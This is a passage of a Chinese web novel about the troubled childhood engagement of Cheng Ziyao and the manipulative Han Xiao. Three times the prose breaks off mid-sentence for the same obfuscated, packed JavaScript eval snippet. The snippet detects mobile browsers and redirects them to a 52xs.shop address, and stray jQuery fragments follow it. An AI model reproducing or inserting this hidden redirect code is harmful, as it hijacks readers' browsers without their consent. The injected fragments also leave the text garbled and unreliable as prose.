等到把某个片区都拼出来后,小韩逍满意地抬起头:“姐姐,快看……啊,你怎么了?” 小姿遥眼眶泛红,垂下眼眸,小声地说:“没事。” “怎么会没事!”小韩逍抬高了声音,像是紧张,又像是幸灾乐祸,“姐姐明明都要哭鼻子了!” 小姿遥握紧了拳头,强忍住鼻头的酸意,勉强地挤出一个微笑:“真的没事,刚刚好像有根睫毛进眼睛了,怎么眨都眨不出来而已。” “那我帮姐姐呼呼。”说着,小韩逍真的直起身凑近,伸手扒着小姿遥的眼睛,嘟起嘴缓缓地吹气。 男孩吹得十分认真且小心翼翼,离得那么近,小姿遥甚至能看到男孩脸上细软的绒毛在阳光下呈现出温柔的金色,那可爱精致的耳朵也因透光性而染上些许橘红色。 小姿遥顿时产生了一丝负罪感,因为方才有那么一个片刻,她开始怀疑是韩逍对婚约不满,故意冷嘲热讽。 或许只是小孩子不懂事而已。 ——她忘记了,自己在小韩逍这么大时,已经懂得很多事了。 更何况小韩逍还是个极聪明的孩子。 联姻在家族内部敲定下来后,两人在一起的时间变得更多了,除了上学的时间以外,两人几乎天天都待在一起。 早些培养感情总是好的,这也是两家长辈的意思,尤其是程老太太,因为担心小姿遥步赵恩禾的后尘,所以时常叮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14340446|152614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嘱她多包容照顾下小韩逍,维持好关系。 小姿遥很听话。 有时她是替小韩逍打掩护—— “姐姐,我肩膀好酸,不想练琴。”小韩逍委屈地看着她,看起来真的可怜极了,“一会儿阿叔来找我,你就说我不在好不好?” 小姿遥问:“那今天不练了?” “就今天一天,明天会练的。” 小姿遥想了想:“好,依你。” 话是这样说,但当韩家的管家叔叔真的找过来时,她不好意思说谎欺瞒,只有每次装模作样地帮老管家一起找,故意忽略掉男孩躲着看漫画的藏匿点。 有时她是帮小韩逍赶作业—— “姐姐,拜托了!”男孩从国外度假回来,送伴手礼时顺便还送来了一本东西。 小姿遥翻了翻,是一本干干净净的《寒假快乐》。她惊讶:“怎么一页都没写?” 小韩逍哭丧着脸:“出去玩时忘了带,回来赶别的我都赶不完了,姐姐帮我随便写写吧,能让我后天开学交差就行!” 小姿遥犹豫:“这样不好吧……” 小韩逍双手合十地央求:“之后我会好好学习的!姐姐你就帮帮我吧,要是没写完,老师就要请家长,我爸我妈肯定得打死我!” 小姿遥想起对方口中韩重林许笙夫妇的形象,终究是答应了下来:“好吧,就依你这一次。” 虽然小韩逍这个年级的作业对于她来说非常简单,但毕竟是整整一本要写,所以她不得不推掉了第二天的计划,当真帮他从早到晚赶完了作业。 有时她是帮小韩逍解决麻烦—— “这是我姐。”某天,小韩逍突然拉着她见了一群同龄男孩,“你们有事可以找她说。” “?”小姿遥一头雾水。 小韩逍在她背后悄悄:“姐姐,他们欺负我,在学校里散播谣言,可坏了。” 小姿遥问:“什么谣言?”她看了看眼前的三四个男孩,看起来都是锦衣玉食的样子,敢来找韩逍麻烦,想必也不是什么普通人家出身。 接着就听面前的男孩们一个二个声讨起来:“韩逍烧我的笔袋!” “他把口香糖粘我椅子上!” “他还把虫子放我笔袋里!” “他假冒我传纸条骂老师害我被罚!” 小姿遥越听越离谱,怎么听怎么不像是她家乖巧的小韩逍会做出的事。 小韩逍躲在她身后,看起来害怕极了,泫然欲泣:“姐姐,他们说谎,你知道我不会这样的,要真是我做的,老师怎么可能看不出来?” 这一句让那些男孩听到了,为首的勃然大怒:“狗屁!韩逍你他妈……” 小姿遥最听不得别人骂脏话,更何况对方还是几岁大的小孩,立即冷冷打断道:“你们都哪家的?你们父母没教过你们什么是教养吗?” 女生比男生发育得早,她年长个两三岁,再加上生活在祖母身边,比同龄人要老成许多,因而身高和气势上完全碾压全场。那几个男孩估计也没被谁这样训斥过,都一愣一愣的,没敢还嘴。 训了他们一顿后,小姿遥牵着小韩逍回去了。 回去路上,小韩逍兴奋地说:“姐姐,你好厉害!” 小姿遥有些无奈地笑了笑:“也就只能训训小孩了……以后你别跟他们玩了,要是在学校他们想对你做什么事,你就赶快告诉老师或者联系家里人。” “嗯!”小韩逍点头如捣蒜,笑嘻嘻地说,“现在大家都知道我有个很厉害的姐姐,肯定不敢找我麻烦了!姐姐你真好!” 小姿遥被夸得不好意思起来。 半晌,小韩逍突然问:“以后会不会有一天姐姐也会这样训我?” “不会吧。”小姿遥自问脾气很好,一年里都生不了几次气,更何况是对小韩逍,她实在想象不到有一天会对这么个乖孩子怒目相向。 ——直到不久后的一次偶然。 她才发现,原来韩逍从来都不是什么乖孩子。 5. chapter 05 基于一些外部考虑,韩、程两家的婚约暂时没有对外公开,但韩老太太和程老太太分别准备了一块玉佩,送给彼此的小辈当做一个私下信物。 程老太太给韩逍准备的是一块翡翠貔貅,韩老太太给程姿遥准备的是一块和田白玉蝉。 像他们这种大户人家,这两物件说贵重也没多贵重,但意义非凡,因此小姿遥拿到后只戴了一天就小心翼翼地收好了,生怕磕了碰了。 没想到有一天,小韩逍跟她说自己不小心把玉弄丢了。 是时小姿遥正临初三的一次摸底考,她成绩好,就算在群英荟萃的私立中学,依然是稳居年级前十,但她仍然丝毫不敢怠慢——她知道没人对她抱有期望,但从小的经历让她对自己总是十分严格,不敢出一点纰漏。 当然,同时可能还蕴藏着一股孩子气,想赌一赌,看看如果她变得更加优秀,那个吝于夸赞的父亲会不会多看自己一眼。 因为要复习,所以她陪小韩逍的时间少了。 等小韩逍主动找到她时,他们已经一周多没见过面了。 “遥遥姐!”小韩逍忧心忡忡,压低声音,“我闯祸了。” 小姿遥问:“怎么了?” 小韩逍拉她到了程家后院的湖桥上,往下指了指:“我刚才觉得脖子痒,把程祖母送我的坠子取下来拿手上,结果不小心落湖里了。” 小姿遥睁大了眼睛:“啊?” 小韩逍哭丧个脸:“怎么办?要让我奶奶知道了,非打死我不可!” 小姿遥思忖着:“要不我和兰姨说说?这是个人工湖,看看能不能把水给抽了。” 却不料小韩逍拽着她的胳膊:“不行不行!抽湖这么大的事,肯定瞒不住程祖母和我奶奶的,到时候程祖母要是知道了,也会不高兴的!” 小姿遥为难:“那可怎么办?我想想。” 小韩逍:“遥遥姐陪我用网兜捞捞吧,要是别人问起来,就说我们在捞青蛙。” 玉是沉的,掉到湖里肯定沉底了,小姿遥心里其实觉得这个方法并不有效,但一时也想不到别的办法,只好说:“嗯,依你,试一试吧。” 网兜的话仓库就有,平时家里佣人用来捞湖上落叶杂物的。 小姿遥怕小韩逍不小心落水,便让他在不远处看着,回忆下具体在哪个位置掉的,她负责站在岸边捞。 “遥遥姐,好像要再往左一点。” “走过了走过了,我当时没到桥这边。” “啊,我记错了,好像在另一边!” “遥遥姐,你要不要往右试试?” …… 此时已是深秋,温度不高,秋风泠泠萧索。 但四十多分钟下来,小姿遥已经是大汗淋漓,裙摆和鞋子上面也沾满了泥泞。 她握着网兜柄,回头望去,只见小韩逍站在坡上,一身清爽干净,正双臂交错抱于胸前,甚至看起来很是悠闲。 不知道是不是她的错觉,在回头的那一瞬,她好像看到男孩眼睛微微眯起,脸上似乎带着与他的焦急语气十分不符的笑容,仿佛在看一场好戏。 但这一神情随着她的转身稍纵即逝,当她再定睛一看时,就见男孩已经把手放下,脸上没了笑容,取而代之的是紧皱的眉头和略显慌张着急的神色。 小韩逍垂头丧气地说:“完了,找不到了,我肯定要受罚了。” 小姿遥安慰:“没事,我陪你去和祖母说,就说是我弄丢的……啊!” 岸边的泥浸了水,变滑溜起来,她转身时没有踩稳,手边又没有可以抓着的东西,登时整个然往后栽去,掉进了湖水里。 小韩逍听到“噗通”一声,当即抬起了头:“遥遥姐?” 岸边的湖水本就不深,凭小姿遥的身高可以踩到地,夏天时他俩偷偷下水玩过。 然而事发有变,小姿遥摔倒后想踩着水底起来,却不想水面下的石头松动了,石头下都是软和的淤泥,以至于她一用力,双腿就都陷进了泥里,一下子矮了一截,开始溺水。 “小逍……小逍……”小姿遥扑腾着,不知道是冻的还是吓的,小脸煞白,“快去喊……喊……” 当意识到发生了什么后,小韩逍脸色骤变:“遥遥姐!” 他飞快地下了坡,差点还绊了一跤,那双总是一尘不染的小皮鞋终于也沾满了泥土,冰凉的湖水没过他的小腿,他着急地伸出手想要拉住小姿遥,一边大声:“遥遥姐!抓住我!遥遥姐!遥遥姐!” 奈何小姿遥的双腿在泥里越陷越深,她逐渐看不到小韩逍了。 在失去意识前一秒,小姿遥在水里迷迷糊糊地想:说不定那块翡翠也陷在泥里了,把湖水抽了都不好找…… …… 那之后小姿遥就发了高烧,昏迷了两天,之后又在床上躺了整整两周才休养好,错过了中考前第一次摸底考。 小姿遥醒来后才知道,原来那天最后是小韩逍的呼喊引来了程家的园丁,园丁大叔下水把她给救了上来。 但自她醒了后,小韩逍一次都没来看她。 小姿遥担心是长辈知道了小韩逍把玉弄丢的事情后责罚了他,病好后问兰姨:“兰姨,小逍他……没事吧?” 兰姨说:“听说韩小少爷回去后也发了烧,不过好得快,早就恢复上学了呢。” 小姿遥愣了下,问:“韩祖母责怪他了吗?” “他说小姐你是和他玩耍时不小心落水,韩老夫人训斥了他几句,倒也没说别的了。”兰姨顿了顿,理解出了别的意思,紧张起来,“难道小姐落水和韩小少爷有关吗?” 小姿遥忙说:“没有没有,是我不小心踩滑了,和小逍没关系。” 兰姨松了一口气:“我还以为你们之间吵架了,毕竟韩小少爷从前那么粘你,现在却十几天都不见人影。” 小姿遥说:“可能是被我吓到了吧。” 听兰姨的意思,好像长辈们还不知道韩逍把玉弄丢的事。 这样瞒着总不是办法,纸是包不住火的,于是她决定去主动找小韩逍,把这件事解决了。 周末的时候,小姿遥直接去了韩家老宅,却被告知小韩逍一大早就出去玩了,要迟点才回来。于是她就先进了小韩逍的房间里等待。 小韩逍的房间她不是第一次来,韩家的人似乎也不介意她进来。 走路过程中,她的针织裙摆不小心勾到了书桌旁最下层抽屉上插着的钥匙,把那忘记锁上的抽屉半拉开了。 她蹲下把抽屉合上,却在看清抽屉里的东西时,愣住了。 只见程老夫人赠予小韩逍的那块翡翠貔貅正被随意地丢在抽屉里,连着上面的绳子确定是原本那根,都是干干净净,没有一丝淤泥污水沾染过的痕迹。 而抽屉里还有很多其他小物件:打火机、口香糖、纸条…… 小姿遥回头往紧闭的房间门看了一眼,犹豫片刻,才然后伸手拿起了其中一张折好的纸条展开。 当她看清上面的内容时,只觉得眼前一黑,耳边不由回想起那些男孩子来找小韩逍麻烦时说的话。 ——那些真的是“谣言”吗? 小姿遥跪在地上,将那些东西都小心翼翼地从抽屉里取出来,看到下面还压了一个牛皮纸袋。 她屏住呼吸,把那本牛皮纸袋也拿了出来,一打开,发现里面放着的竟是自己曾经帮小韩逍赶过的作业。 无论是练习册还是写在本子上的习题,上面都无一点批改痕迹。 就好像……自写完后从没交上去过一样。 小姿遥从里面找到一张通知单,是小韩逍的班级印发的,大概 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14340447|152614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意思是说寒假作业分A、B两个套餐,期末考试在班级前十名的做A套餐的作业,而A套餐和B套餐最不一样的地方就在于不用写那一本《寒假快乐》。 而小韩逍的名字,赫然在A套餐之列中。 小姿遥的脑袋里嗡嗡作响,她不敢置信地从牛皮纸袋里翻找,果然找到了那本她花整整一天帮忙写好的《寒假快乐》,并且里面依然不见一点红色笔迹。 一个小时过后,小韩逍回来了。 他一回家就听说小姿遥过来了,等他一进门,就见小姿遥在大厅陪韩老太太在喝茶。 和程家老宅的极具中式园林风格不同,韩家整体都偏复古西式田园,应该是和韩家的海外背景有关,韩家曾祖父是民国时期海外留学的有志青年。 韩老夫人是个精明的老太太,和程老夫人从未出阁就是手帕交,关系很好。 见小韩逍回来了,韩老夫人略显责备:“又去哪儿野了?这么迟才回来,小槿都等你老半天了。” 小姿遥温声说:“也没多久,正好也来看看奶奶您。” 小韩逍在她身旁的沙发上坐下,神色如常地凑近小姿遥:“遥遥姐还没痊愈吗?看起来脸色不大好看,有点发白。” 男孩温热的鼻息与以往并无不同,但小姿遥此时却有种被毒蜂蛰了一下的感觉。 小姿遥垂下眼,轻声说:“没事,可能还需要再休息几天吧。” 因为临近晚饭,所以小姿遥留在韩家用餐了。 韩重林夫妇都在外没回来,韩重森一家在风城海边像程祖皓那样另立了新宅,所以这一顿饭也就只有韩老夫人、小韩逍还有小姿遥。 饭后,小姿遥要回去了,小韩逍陪她到门口。 转眼已快入冬,屋子里暖和,出了屋子就很冷了,深秋的萧索正在慢慢转变为初冬的冷冽,晚风吹在脸上已经有几分刀刃的锋芒。 少女感觉到了丝丝疼痛。 走在路上,她趁着机会话锋一转:“那块玉……” “嗯?”小韩逍抬头望着她,眼睛在路灯光线下亮如星辰。 小姿遥迎上了他的目光:“你和你奶奶说了吗?那块貔貅掉进湖里的事。” “没说,我怕奶奶打我。”小韩逍调皮地吐了吐舌头,“怎么?姐姐刚才和奶奶喝茶替我说了吗?” “没……”小姿遥努力从他的神情里找出一丝破绽,“那怎么办?祖母们总有一天会发现的,时间久了就很难找了,找哪天祖母不在家的时候抽湖吧。” 只见小韩逍笑了,依然是那么天真无害的笑容:“这个嘛,就不用姐姐担心啦。” “为什么?” “山人自有妙计。”小韩逍自信地说,“遥遥姐就等着看吧。” “……好吧。”小姿遥强压着心底的愤怒与震惊,在心中默念:撒谎精。 “遥遥姐,你真的没事吗?”路灯映出小韩逍关切的神情,“你今天总感觉怪怪的,还在感冒吗?” 小姿遥别过视线:“嗯,可能还有点吧,你别离我这么近,传染上就麻烦了。” 却不料小韩逍反而勾了勾她的手,笑眯眯地说:“这有什么的,我身体好,不怕传染。” 听到这句话,小姿遥没有忍住问道:“那为什么这半个月你都没来看我?” 这句话一出,不仅小韩逍愣了,连她自己都愣住了。 任谁都听得出来,她的语气并不温和。 这大概是她第一次用这么冲的语气跟小韩逍说话。 话一出口,小姿遥就后悔了,她实在不愿意也不擅长应对这样的场面。 她也不期望从小韩逍那里得到什么满意的回复,她现在对小韩逍的每一句话都持疑。 因此,还不等小韩逍给出答复,她便松开对方的手,跑着离去了。 6. chapter 06 之后一连几日,小姿遥都没和小韩逍见面。 她没有去找小韩逍,小韩逍也没来找他。 他们一个小学六年级,一个初三,学业都比之前要忙一点,因此这样的表现倒也没怎么引起大人们注意。 直到立冬那天,她随程老夫人到韩家赴宴,两人才见到。 与此同时,韩家老宅里还来了好些亲戚和世交,小孩子多,正逢天气不错,午睡后就闹着想玩捉迷藏,她和其他几位年纪稍长的抱着陪同的心态,也参与其中。 当鬼的一个是任家的小少爷任书辰,比小韩逍小一点,另一个是韩逍的堂兄韩凌,比小姿遥还要大两岁。 小姿遥不喜欢韩凌。 她对人很少有明显的好恶,那鲜有的两极分化却分别给了韩家的这两兄弟。 对于韩逍,她仿佛可以无限度地容忍,而对于韩凌,则是敬而远之,惹不起就尽量地躲。 韩凌是现任韩家当家韩重森的嫡子,也是韩家的嫡孙,跟着父母在临海的新宅住,偶尔会到老宅里来。 从第一次见面起,他就总是背地里用轻佻的目光打量小姿遥,甚至有时会做一些低俗的恶作剧,还会当着她的面仗着年长欺负韩逍。 小姿遥看不起他,觉得他就是世人眼中纨绔二世祖刻板印象化身,好吃懒做,令人生厌,但又要顾及面子,不能翻脸,所以在大家一起玩时又不好拒绝。 游戏开始前,她和小韩逍没有说过一句话,游戏开始后,她独自一人躲藏在了庭院假山后的角落。 不知道过了多久,她听到了韩凌的声音在不远处响起:“程小槿,我知道你在那儿。” 小姿遥不由地抓紧了自己的裙摆,她警告过韩凌不许这样叫她——“小槿”是只有长辈才能喊的小名,但背地里对方总是不改口。 过了会儿,那人声音却又近了几分,带着痞气:“你是不是以为我在炸你?我还真不是。” 小姿遥屏息。 “你今天穿的这身真好看。”韩凌压低了声音,言辞冒犯,“兰姨每天给你都喂些什么好吃的?让你发育得这么好,我们班的女生都没有你这么个高的,我就最喜欢你这种腿长腰细的,大胸大屁股有什么美的,太过了就腻了,你这样正好。” 小姿遥的脸唰地涨红了,既是羞的也是气的,她从未听过这样的下流言语。 韩凌知道长辈们都在前院打牌,佣人也不敢打小报告,于是更加肆无忌惮:“真不出来?我可给了你机会,要是我亲手揪你出来的话……嗯哼,这里除了你以外,可没躲别人。” 小姿遥紧张极了,她心想如果韩凌真的敢对她动手动脚,那她也不用顾及什么了,放声大喊,祖母不会任由她被人欺负的。 虽是如此,韩凌带给她的恐惧依然令她身体不由自主地发起抖来——她从没遇到过这样的事。 脚步声越来越近,她看到韩凌的影子已经映在了自己对面的墙壁上。 而就在这时,只听“咻”的一声,随即身后响起了韩凌吃痛的叫骂声。 下一秒,小韩逍的声音响起来:“快跑!遥遥姐!” 或许是小韩逍的声音给了她勇气,小姿遥嚯地站了起来,拔腿往前院的方向跑去。 她不想去找小韩逍,不是因为她还不愿原谅对方的欺骗,而是在她看来,连她都对韩凌束手无策,更何况是经常被韩凌欺负、比韩凌小了足足五岁的小韩逍?去找小韩逍只会拖累他。 她必须跑到有大人在的前院,这样就算被韩凌抓住,只要一喊,就会有人注意到,一旦众目睽睽下被发现,吃亏的是韩凌。 但她忘记了,韩凌人高马大,体能比她强,跑起来比她快。 “哈,哈,哈。” 小姿遥再度慌了神,她跑得气喘吁吁,再过转角时绊了一跤,摔倒在水泥地上。 眼看韩凌就要追过来,小姿遥的心脏快要跳出嗓子眼,她踉跄地站起来,身体还没站稳,左手臂就被猛地拉了下,整个人被拽进了屋子里。 门被轻轻关上,她才发觉原来是小韩逍。 小韩逍穿了一件白色的高领毛衣和姜黄色长裤,一尘不染,与她的狼狈形成鲜明对比。男生脸上的稚气渐渐褪去,面庞介于稚嫩可爱和少年俊秀之间。 他拉着小姿遥往后坐下,虚声问:“遥遥姐,你没事吧?” 小姿遥心有余悸地点了点头,冷静了几秒后,她抬起头,才看清他们现在是在哪儿。 ——这里似乎是韩家后院的一间仓库,做成了和式的风格,在转角这一面墙开的是拉门,另外一面还有两扇窗。 但她一颗心还没彻底平稳下来,就听到屋外韩凌已经追了过来,他高大的身影映在了拉门上,影子变了形,像是可怖的鬼兽。 小姿遥凝神屏息,本能地将小韩逍护在身后。 “遥遥姐,别怕。”她听到小韩逍在她背后十分冷静甚至可以称得上平静地说道。 她回头,看见身后人从兜里掏出一个弹弓和一块石子。 接着,就见男孩把那块硬币大小的石头搭在弹弓上,朝着另一面半打开的窗户拉橡皮带,利落果断地弹出那块石头。 只听“咻”的一声,那石子眨眼间精准地穿过那窗户打开的位置,飞到了屋外,击中了一条金属管道,发出一声“哐啷”的声音,听起来像是被人不小心踢了一脚,而后灌木丛中传来窸窸窣窣的细响。 伴着一声哼笑,韩凌的影子离开了拉门,快步朝着声音方向而去。 “孙葭臾就在栀子丛那儿猫着呢,估计要吓傻了。”小韩逍收了弹弓,冲她眨了眨眼,“韩凌过去准发现他,又能耗一会儿。” 孙葭臾是韩逍的小表弟。 小姿遥对他手中的弹弓并不陌生,这是她落水前就见小韩逍玩过的玩意儿,他没事就拿来打鸟,被她说了一次后收敛了许多,没再拿出来,没想到还随身带着。 她想起韩凌的那声吃痛,问:“刚才是你打了韩凌?” 小韩逍微微扬起下巴:“他该打 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14340448|152614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 小姿遥有些尴尬:“他说的话,你都听到了?” “他说话?说了什么?我只是不想让姐姐被他捉到。”小韩逍看着她,一双眼睛如阳光下的溪流,波光粼粼,清澈见底,还漾着一丝狡黠的波纹,好像真的什么都没听见,“毕竟,姐姐只能在我当鬼时才能被捉到。” 闻言,小姿遥松了一口气,但下一秒又开始怀疑对方说的是不是真的。 现在回过神来,凭着刚才救她的沉着与机智,小韩逍怎么也不该像软柿子一样在平日里任韩凌拿捏宰割。 说不定,当着她的面被韩凌欺负,也是他故意的…… 小姿遥突然觉得小韩逍很陌生。 小韩逍仿佛忘了那天的不欢而散,笑眯眯地朝她伸手,自信地说:“走吧,遥遥姐,这个家没人比我更熟悉了,我保证我俩能赢到最后。” 小姿遥迟疑着,没有动。 “姐姐?”小韩逍的笑容逐渐黯淡下来,“果然,你还在生我的气……” “……” 两人相对无言片刻,小韩逍少见地蹙了下眉,像是下定什么决心似的开口打破沉默:“其实……你落水后,我不来看你,是因为……我有点害怕。” 小姿遥愣了下:“害怕?” “我真的从没想过让你落水生病。”小韩逍低头看着自己伸出去的手掌,“但确实是我害你掉到湖里,真的很对不起,遥遥姐。” “那为什么……”小姿遥想提那块翡翠貔貅的事,但终究还是没有提,而是问,“为什么不早点说呢?” 小韩逍半垂下眼,显得十分可怜,像挨训的小狗:“也是害怕你责怪我吧。” 小姿遥在心里长长地叹了一口气。 ——算了。 她听见一个声音在心里这么说。 迄今为止,她已从他身上获取太多。 温暖、陪伴、安心、希望、快乐、被人需要的感觉…… 她还在苛求什么呢?最需要这段利益捆绑的人是她。 就算梦有虚假,但也好歹是场美梦。 想通后,她把手交到了男孩的手中,说:“走吧,不然要被发现了。” 小韩逍微微睁大了眼睛:“姐姐,你不生气了?” “嗯,不生气了。”小姿遥注视着他的双眼,“但你要答应我,以后要做一个坦率真诚的人,不能骗人。” “行啊!”小韩逍一听她原谅了自己,笑逐颜开,答应得很爽快,牵着她站了起来,说话也更加轻快了,“遥遥姐跟我来,我知道一个地方,保证韩凌不知道,我们赢定了。” “好,依你。” 后来,果然如韩逍所说,那日的捉迷藏,他们赢了。 而且超过时限都没被抓到的,只有他们两个人。 至于韩凌,在几个月后,发生了意外,把腿摔断了,康复后落了点病根,又出国去做手术,来来回回折腾了有一两年,连高考都耽误了。 或许这就是报应吧。 7. chapter 07 韩凌出事后没多久,程姿遥便升上了高一。 高一的寒假,风城迎来了据说是十年里最冷的冬天。 连程家老宅的湖面都结了一层薄冰,程姿遥站在湖桥上,呜咽呼啸的寒风在她耳边回响不绝,她出来时没有戴耳罩,只有用就算用羊毛围巾捂住双耳。 她对在龙城时的生活还有印象,知道可以踏行的湖冰是什么样的,不难看出眼前的薄冰是承受不了人行的,光是看一眼,就能想象失足落水的画面。 如果她此刻从桥上翻下去,冰层会骤然碎裂,而她也将沉入湖心,不会像当时在湖岸附近溺水时容易获救…… 这样想着,她靠着桥栏缓缓前倾。 在快要越过危险边界时,她被一股力量往后拽了下。 “遥遥姐!”少年韩逍的脸突然闯进她的视线,一瞬间阴郁的天空仿佛都明亮起来,有阳光从寒风中泻了下来,“小心点啊!” 她回过神来:“小逍……” 在她步入高中的同时,对方也升入了初中。 现在两人在同所私立中学,只是一个在高中部一个在初中部,中间隔了一个礼堂。 “今天好冷啊。”韩逍背着一个书包,围着一条红色的围巾,呵出一团白气,那是人间烟火气。 “是啊……”程姿遥看着呼出去的白气,心想对方是不是又长高了。 女生比男生发育得早,她的身高基本差不多定下来了,一米七整,再加上身材细瘦,因此比同身高的男生都要显高点,而此时和韩逍站在一起却不见优势。 韩逍是最近开始蹿个儿,身高突飞猛进,上次测量也是一米七,现在看来估摸有一米七五的样子,比她还高点了。 长辈们都说,男孩子后长,这韩小少爷以后肯定也是个大高个。 “我们快点进屋去吧。”韩逍的面庞愈发俊俏,那对总似多情的桃花眼渐渐成形,声音也进入了变声初期,有点干涩,“初一的寒假作业怎么这么多?我怕我写不完的话,年后说好的旅行去不成了。” 程姿遥几乎是下意识地接了句:“那我帮你写一点吧。” 说完后,她才回过神来,想起自己在男孩房间发现的那个牛皮纸袋,心情复杂。 “真的吗?”韩逍笑起来时露出两排整齐的白牙,不知不觉孩子气已逐渐褪去,取而代之的是青涩的少年感,“遥遥姐果然对我最好了。” 程姿遥努力板着脸:“当然,前提是你自己也要尽全力去完成,我只能帮一点点。” “知道啦!” 韩逍顿了顿,问:“刚才遥遥姐在想什么呢?差点就翻下去了,好危险。” 程姿遥垂下眼,淡淡地说:“没什么,可能是太冷了,就有点走神。” “真的吓死我了!”韩逍取下手套,把手抬起来,一脸正色,“遥遥姐,你可不可以答应我,以后多注意安全,尤其是在湖边。” 程姿遥看着他的手,蹙了蹙眉:“快戴上,别把手冻坏了。” “姐姐心疼我的话,赶快和我拉勾,答应我就好了。”韩逍勾了勾唇角,笑得狡黠,“如果遥遥姐不答应我,我就一直在这里吹冷风,冻死自己。” 程姿遥拿他没办法,也只有取了手套抬起手,和他拉了勾。 “拉勾,上吊,一百年,不许变。”韩逍笑眼弯弯,“好啦。” 小指头传来对方的温度,程姿遥看着他的眉眼,微微一笑,心想果真还是孩子气。 却不料她刚准备抽回手把手套戴上,韩逍就趁着拉勾的动作,顺势握住了她整只手。 程姿遥愣了下。 原本仅限于指腹接触的温度骤然扩大到了整只手,令她有些措手不及。 温热,有力,手指修长,已经不是小时候软软肉肉的触感。 这一刻,她才真正意识到,男孩已经成长为少年。 “遥遥姐,你的手戴着手套怎么都这么冷?”韩逍皱着眉嘀咕了一声,然后握着她的手揣进了自己的羽绒服口袋里,语气轻快,“走吧,我们回屋里,我想喝兰姨煮的红糖姜奶了。” 少年的笑容是暖的,话语是暖的,手心是暖的,连衣兜都是那么温暖。 温暖到程姿遥一瞬间有落泪的冲动。 然而她并没有流泪,只是低着头任由对方这样牵着自己走着,心想就算一直在外面吹冷风也没什么不好。 ——屋子里,有让她想要逃避的存在。 两人进了主宅大厅,刚脱下外套和围巾给佣人,就见程祖皓带着助理从楼梯上下来。 程姿遥身体微僵,看到父亲不苟言笑的面容便不由地紧张,不料一声“爸爸”还没从塞满冰似的喉间卡出来,耳边却率先响起了韩逍的声音。 少年摆出那副任谁都挑不出一丝毛病的烂漫笑容,乖巧地打招呼:“程叔叔好!” 程祖皓身材高大,但长得确实斯斯文文的样子,戴个金边眼镜,有几分儒雅。听到声音,他抬头望来:“是小逍啊,一个人过来的?” 临近年关了,程祖皓照例回老宅过年。 他知道程老夫人不喜欢秦惜,所以往年都没带妻子回来,但今年把秦惜和程黎生都带回来了——小黎生也长大了,有七八岁了。 程老夫人虽不喜欢秦惜,但也不能不认孙子,有时程姿遥能察觉到祖母在自己面前会刻意压抑对小黎生的喜爱,弄得她自己也十分愧疚,所以她现在要么把自己关在屋子里,要么就在院子里游荡。 接着,就听韩逍认真地说:“嗯,寒假作业有不会的地方,得麻烦遥遥姐点拨一二。” 听着身边人咬文嚼字,程姿遥有点想笑。 程祖皓看了一直低着头的女儿一眼,轻飘飘地说:“是吗?我听你爸爸说,你成绩不错,要辅导的话只有高阶的老师能辅导吧。” “才没有这回事。”韩逍笑眯眯地说,“遥遥姐成绩好,人也耐心,比那些老师教得不知道好多少倍,不然怎么说是‘虎父无犬女’呢?遥遥姐都这么优秀了,可想而知程叔叔得有多厉害。” 说着,他的手在程姿遥的手心不轻不重地捏了两下。 程姿遥知道他的意思,也微微握紧,表示回应。 听了小韩逍的话,程祖皓居然难得地露出了微笑:“老韩可真是生了个小人精,人小鬼大。既然是来写作业的,那快去吧,别贪玩了。” 程姿遥抬起了头,与父亲目光交错,她很少见父亲对自己如此和颜悦色。 出门前,程祖皓看了她一眼,不冷不热地说了句:“上午我跟你说的事,你自己再想想。” “好的,爸爸。”程姿遥又垂下眼,有些生硬地说道。 等程祖皓和助理出门后,程姿遥带韩逍回了自己的房间。 刚把门关上,就听韩逍问:“程叔叔说了什么?还让你再想想?” “没什么。”程姿遥搬了个椅子到书桌另一边,确保韩逍有足够的空间写作业,又把少年卸下来的书包放过去,一边说,“做功课吧,不是说做不完的话就不能出去玩了吗?” 韩逍躺在程姿遥的床上,眼睛微微眯起,像是犯困的猫儿,竟耍起了赖皮,改口道:“唔,反正是和遥遥姐一块儿出去旅游,晚上回方书辰家时遥遥姐监督我写就好了。” 年后的旅行是方家组织的,方家有一半势力都在海外,有方家的长辈在,韩逍的几个表弟表妹也去,方家小少爷方书辰力邀她和韩逍,说一起滑雪泡温泉。 如果不是韩凌出了意外,把腿摔断了,估计也有他一份,那样的话程姿遥肯定不会答应去的。 程姿遥走到床前,低头颇有些无奈地看着他:“到时出门白天都在玩了,晚上回去哪儿还有精力写?快起来吧。” “我也很想起来,但就是起不来,我 